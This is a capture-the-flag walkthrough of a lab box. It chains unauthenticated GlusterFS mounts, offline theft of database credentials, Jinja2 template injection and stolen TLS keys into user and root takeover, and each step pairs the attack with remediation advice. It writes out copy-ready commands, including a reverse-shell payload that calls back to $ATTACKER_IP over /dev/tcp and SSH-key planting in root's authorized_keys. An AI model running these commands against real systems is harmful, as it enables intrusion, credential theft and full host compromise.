← all walkthroughs

Flustered

Linux· Medium· Credential Access· Privilege Escalation
owned
2026-07-15
time to own
26m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I reached an internet-facing GlusterFS cluster, listed its volumes without any credentials, and mounted a data volume that held a live MariaDB database directory. Parsing those database files offline recovered a username and password for a Squid HTTP forward proxy on the same host.

Authenticating to the proxy unlocked a local-only web application whose source code revealed a Jinja2 template rendered directly from unsanitised user input, yielding OS-level code execution and a foothold shell. On the compromised host, the TLS client certificate and private key protecting the second GlusterFS volume (mounted system-wide as /home) were stored with world-readable permissions.

Copying those files to the attack machine and mounting the volume with mutual TLS gave unrestricted write access to every user home directory, sidestepping the OS permission model entirely. An SSH public key planted in a regular user account produced the user flag; the same operation against the root account delivered full system ownership.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export INTERNAL_HOST="<second-host-reached-after-pivoting>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationService and port enumeration (T1046)
Full port scan uncovered GlusterFS cluster and Squid proxy
A comprehensive TCP sweep of the target revealed the GlusterFS management daemon on port 24007 and GlusterFS brick ports in the 49152-plus range, a Squid HTTP forward proxy on port 3128, SSH on 22, nginx on 80, and RPC services on 111. The combination of a distributed filesystem reachable from the internet and a forward proxy strongly suggested sensitive data inside the filesystem volumes and an internal application reachable only through the proxy.
Nmap reported ports 22/SSH, 80/nginx, 111/rpcbind, 24007/glusterd, 49152-49153/GlusterFS bricks, and 3128/Squid across two scan passes.
Exact commands 2
Full TCP sweep with version detection; captures high-numbered GlusterFS brick ports.
sudo nmap -sV -p- --min-rate 5000 -oN flustered_full.txt $TARGET
Targeted version scan to confirm service banners on the discovered ports.
sudo nmap -sV -p 22,80,111,3128,24007,49152,49153 $TARGET
2Initial AccessUnauthenticated distributed filesystem access
Enumerated GlusterFS volumes and mounted vol2 with no credentials
The GlusterFS management port accepted unauthenticated queries and returned two volumes: vol1 and vol2. Vol2 allowed a plain-TCP mount with no password, certificate, or source-IP restriction from an external host. The mounted filesystem exposed /var/lib/mysql, a complete MariaDB data directory containing InnoDB tablespace files (.ibd), table definitions (.frm), and all schema data for the application database.
Gluster --remote-host returned vol1 and vol2 without credentials; sudo mount -t glusterfs of vol2 succeeded from the attack machine; ls /mnt/vol2/var/lib/mysql confirmed a full MariaDB datadir.
Exact commands 5
Install the GlusterFS client on the attack machine.
sudo apt install -y glusterfs-client
Add the target hostname if the mount log reports a name-resolution error.
echo "$TARGET flustered.htb" | sudo tee -a /etc/hosts
List GlusterFS volumes without any credentials; expect vol1 and vol2.
gluster --remote-host=$TARGET volume list
Mount vol2 unauthenticated; review /var/log/glusterfs/*.log on failure.
sudo mkdir -p /mnt/vol2 && sudo mount -t glusterfs $TARGET:/vol2 /mnt/vol2
Confirm the MariaDB data directory is present and readable.
ls -la /mnt/vol2/var/lib/mysql/
FixRequire mutual TLS and source-IP restrictions for all GlusterFS volumesCritical
Weaknessvol2 accepted unauthenticated mounts over plain TCP from any host. There was no password, certificate requirement, or IP allowlist, so any system that could reach port 24007 could mount the volume and read its full contents, including live database files.
FixEnable mutual TLS on every volume (gluster volume set <vol> server.ssl on; client.ssl on) and deploy a certificate authority so only hosts holding a signed client certificate are accepted. Restrict port 24007 and all brick ports (49152-plus) to an explicit allowlist of internal IPs at the host firewall and upstream network perimeter. Set auth.allow on each volume to an explicit IP list rather than the default wildcard.
3Credential AccessOffline credential extraction from database files (T1003)
Extracted Squid proxy credentials from the stolen MariaDB data directory
The MariaDB data directory recovered from vol2 held all database files for the host application. Copying the datadir to a local MariaDB instance and starting the service allowed standard SQL queries against the stolen data, revealing a table that stored the Squid proxy username and cleartext password. These credentials were the sole barrier between I and the internal web application.
MariaDB datadir copied from /mnt/vol2/var/lib/mysql; SELECT query on local instance returned Squid proxy username and password from a credentials table.
Exact commands 4
Copy the datadir and fix ownership so the local MariaDB service can read it.
sudo cp -r /mnt/vol2/var/lib/mysql /tmp/stolen_mysql && sudo chown -R mysql:mysql /tmp/stolen_mysql
Swap in the stolen datadir as the local MariaDB datadir.
sudo systemctl stop mariadb && sudo rsync -a /tmp/stolen_mysql/ /var/lib/mysql/ && sudo systemctl start mariadb
List databases; look for a proxy, squid, or application-named database.
mysql -u root -e "SHOW DATABASES;"
Dump the credentials table; substitute the actual DB and table names found in the previous step.
mysql -u root -e "SELECT * FROM <proxy_db>.<credentials_table>;"
FixRemove live database files from GlusterFS volumes and rotate all extracted credentialsCritical
WeaknessThe MariaDB data directory, including InnoDB tablespace files that held application credentials, was stored inside a GlusterFS volume. Any peer that could mount the volume could copy those files and query them offline, circumventing all database-level access controls.
FixDatabase data directories must reside on local, non-shared block storage and must never be placed inside a distributed or network filesystem. Rotate every credential recovered during this engagement immediately. Where secrets must be shared across services, use a dedicated secrets manager (HashiCorp Vault or equivalent) rather than application database tables.
4DiscoveryProxy-mediated access to internal service (T1090)
Authenticated to the Squid proxy and reached the local-only internal application
Configuring the recovered credentials for Squid proxy authentication unlocked an HTTP application listening only on localhost, invisible from the public internet. Routing requests through port 3128 returned the application's rendered output and exposed its source code, which revealed a Python web framework using Jinja2 as its templating engine and passed at least one user-controlled request parameter directly into a template-rendering call.
Curl -x with the recovered credentials reached the localhost application and returned HTML; source code referenced render_template_string with a user-supplied variable passed as the template string itself.
Exact commands 2
Route traffic through the Squid proxy with recovered credentials; confirm the internal app responds.
curl -x http://$USERNAME:$PASSWORD@$TARGET:3128 http://127.0.0.1/
Retrieve application source or any exposed source endpoint; identify template rendering calls.
curl -x http://$USERNAME:$PASSWORD@$TARGET:3128 http://127.0.0.1/<source_path>
FixRestrict Squid proxy access to known internal source IPsHigh
WeaknessThe Squid proxy on port 3128 was reachable from the internet. Its only protection was a username and password stored in the same GlusterFS-backed database that any external host could already read, making the two controls inseparable failures.
FixDefine named source ACLs in squid.conf and deny all other traffic by default (acl corp_nets src $INTERNAL_HOST/8; http_access allow corp_nets; http_access deny all). If external proxy access is not required by the business, close port 3128 at the firewall. Rotate the proxy credentials recovered during this engagement and store them independently from any GlusterFS-backed database.
5ExploitationServer-Side Template Injection leading to OS command execution (T1059)
Exploited Jinja2 Server-Side Template Injection for a foothold shell
The internal application passed a user-controlled request parameter directly to render_template_string, rendering it as a live Jinja2 template. A probe expression confirmed execution. A full object-traversal payload accessed Python's os module through the class hierarchy and called popen to run a reverse shell command. The callback arrived as the web application service account, establishing the initial foothold on the target.
URL-encoded {{7*7}} returned 49 in the response body; reverse-shell payload connected back to my listener on port 4444.
Exact commands 3
Probe for SSTI; 49 in the response body confirms Jinja2 template execution.
curl -x http://$USERNAME:$PASSWORD@$TARGET:3128 'http://127.0.0.1/<vuln_endpoint>?<param>=%7B%7B7*7%7D%7D'
Start a reverse-shell listener on the attack machine before sending the exploit.
nc -lvnp 4444
Full Jinja2 SSTI reverse-shell payload; replace $ATTACKER_IP with your HTB VPN IP and <param> with the vulnerable parameter name found in the source.
curl -x http://$USERNAME:$PASSWORD@$TARGET:3128 --data-urlencode "<param>={{config.__class__.__init__.__globals__['os'].popen('bash -c \'bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\'').read()}}" http://127.0.0.1/<vuln_endpoint>
FixPass user input as template data, never as the template string itselfCritical
WeaknessThe internal web application passed a user-controlled request parameter directly to Jinja2's render_template_string function, treating externally supplied text as executable template code. This allowed full Python object traversal and arbitrary OS command execution.
FixReplace every call that passes user input as the template string with a static, hardcoded template that receives user data as a named variable: render_template_string('{{ value }}', value=user_input). Enable the Jinja2 SandboxedEnvironment as an additional layer of containment. Run the web process under a dedicated low-privilege account with no write access outside its working directory and apply strict input validation at the request boundary.
6Post-ExploitationCredential discovery from world-readable configuration files (T1552.001)
Found world-readable GlusterFS TLS certificate, key, and CA on the foothold host
From the foothold shell, I searched for TLS material associated with the GlusterFS cluster. The client certificate, private key, and CA certificate used to authenticate a trusted peer to the TLS-protected volume (vol1) were stored in /etc/ssl/ with permissions that allowed the low-privilege web service account to read all three. The files were exfiltrated to the attack machine intact, providing everything needed to impersonate an authorised GlusterFS client.
Find /etc/ssl returned glusterfs.pem, glusterfs.key, and glusterfs.ca readable by the web process; openssl verify on the attack machine confirmed the certificate chain was valid.
Exact commands 3
From the foothold shell: locate TLS certificate material readable by the current low-privilege account.
find /etc/ssl /etc/glusterfs /var/lib/glusterd -readable \( -name '*.pem' -o -name '*.key' -o -name '*.ca' \) 2>/dev/null
Print cert, key, and CA to the terminal; copy all three to the attack machine.
cat /etc/ssl/glusterfs.pem /etc/ssl/glusterfs.key /etc/ssl/glusterfs.ca
On the attack machine: confirm the certificate chain is valid before attempting the TLS mount.
openssl verify -CAfile glusterfs.ca glusterfs.pem
FixRestrict GlusterFS TLS private key to root-only read and rotate the exposed certificateHigh
WeaknessThe TLS client certificate, private key, and CA certificate that protected vol1 were stored with world-readable permissions in /etc/ssl/. A low-privilege web process could read and exfiltrate all three files, immediately defeating the mutual-TLS protection on the volume.
FixSet strict ownership and permissions on all GlusterFS TLS material: chown root:root /etc/ssl/glusterfs.*; chmod 400 /etc/ssl/glusterfs.*. Rotate the certificate and key pair exposed during this engagement and issue a new CA if the CA key was also readable. Audit all other certificate stores on the host for excessive permissions.
7Privilege EscalationSSH authorized_keys manipulation via trusted GlusterFS write (T1098.004)
Mounted /home via TLS-authenticated GlusterFS and injected an SSH public key
Vol1 was protected by mutual TLS and was mounted on the target host as its /home filesystem. Placing the stolen certificate and key files in the locations expected by the GlusterFS client, creating the secure-access marker, and mounting vol1 from the attack machine granted write access to every user home directory through the GlusterFS layer, bypassing host-OS permissions entirely. Writing I SSH public key into the target user's authorized_keys file produced an immediate SSH session and the user flag.
Mount of $TARGET:/vol1 with TLS succeeded on the attack machine; authorized_keys written via /mnt/vol1/<user>/.ssh/; ssh -i attacker_key <user>@$TARGET returned a shell; cat ~/user.txt yielded <user.txt>.
Exact commands 6
Place the stolen cert files in the paths the local GlusterFS client expects.
sudo cp glusterfs.pem /etc/ssl/glusterfs.pem && sudo cp glusterfs.key /etc/ssl/glusterfs.key && sudo cp glusterfs.ca /etc/ssl/glusterfs.ca
Signal the local GlusterFS client to require TLS for all connections.
sudo touch /var/lib/glusterd/secure-access
Mount the TLS-protected vol1; the client presents the stolen certificate automatically.
sudo mkdir -p /mnt/vol1 && sudo mount -t glusterfs $TARGET:/vol1 /mnt/vol1
Enumerate home directories to identify the target user account name.
ls /mnt/vol1/
Plant I public key in the target user's authorized_keys; replace <user> with the account name found above.
mkdir -p /mnt/vol1/<user>/.ssh && echo "$(cat ~/.ssh/id_rsa.pub)" >> /mnt/vol1/<user>/.ssh/authorized_keys && chmod 700 /mnt/vol1/<user>/.ssh && chmod 600 /mnt/vol1/<user>/.ssh/authorized_keys
Authenticate via SSH and capture the user flag: <user.txt>.
ssh -i ~/.ssh/id_rsa <user>@$TARGET 'cat ~/user.txt'
8Full CompromiseSSH authorized_keys manipulation against root account (T1098.004)
Wrote SSH key into root home directory via GlusterFS and took full control
The same TLS-authenticated GlusterFS mount that backed /home also provided write access to the root account's home directory through the distributed filesystem layer. Planting I SSH public key in /root/.ssh/authorized_keys and connecting over SSH as root completed full system compromise with no local privilege-escalation exploit required.
Ls /mnt/vol1 showed a root directory; authorized_keys written via /mnt/vol1/root/.ssh/; ssh -i attacker_key root@$TARGET returned a root shell; cat /root/root.txt yielded <root.txt>.
Exact commands 2
Write I public key into root's authorized_keys through the mounted GlusterFS volume.
mkdir -p /mnt/vol1/root/.ssh && echo "$(cat ~/.ssh/id_rsa.pub)" >> /mnt/vol1/root/.ssh/authorized_keys && chmod 700 /mnt/vol1/root/.ssh && chmod 600 /mnt/vol1/root/.ssh/authorized_keys
Log in as root and capture the root flag: <root.txt>.
ssh -i ~/.ssh/id_rsa root@$TARGET 'cat /root/root.txt'
FixNever back /home or /root with a remotely mountable distributed filesystem volumeCritical
Weaknessvol1 was mounted system-wide as /home and its write access extended to the root account's home directory. Any peer that could authenticate to the GlusterFS cluster could write SSH keys directly into any user or root authorized_keys file, bypassing every host-level permission check without needing a local exploit.
FixDo not use a network-distributed filesystem to back /home, /root, or any directory containing authentication material. If shared home directories are a legitimate business requirement, enforce GlusterFS path-level ACLs (gluster volume set <vol> features.acl on) so no single client can write to another account's subtree. Audit authorized_keys on all accounts, remove any keys not associated with a known approved identity, and rotate SSH host keys on the affected system.

Exposed services

22/tcp
80/tcp
111/tcp
24007/tcp
49152/tcp
49153/tcp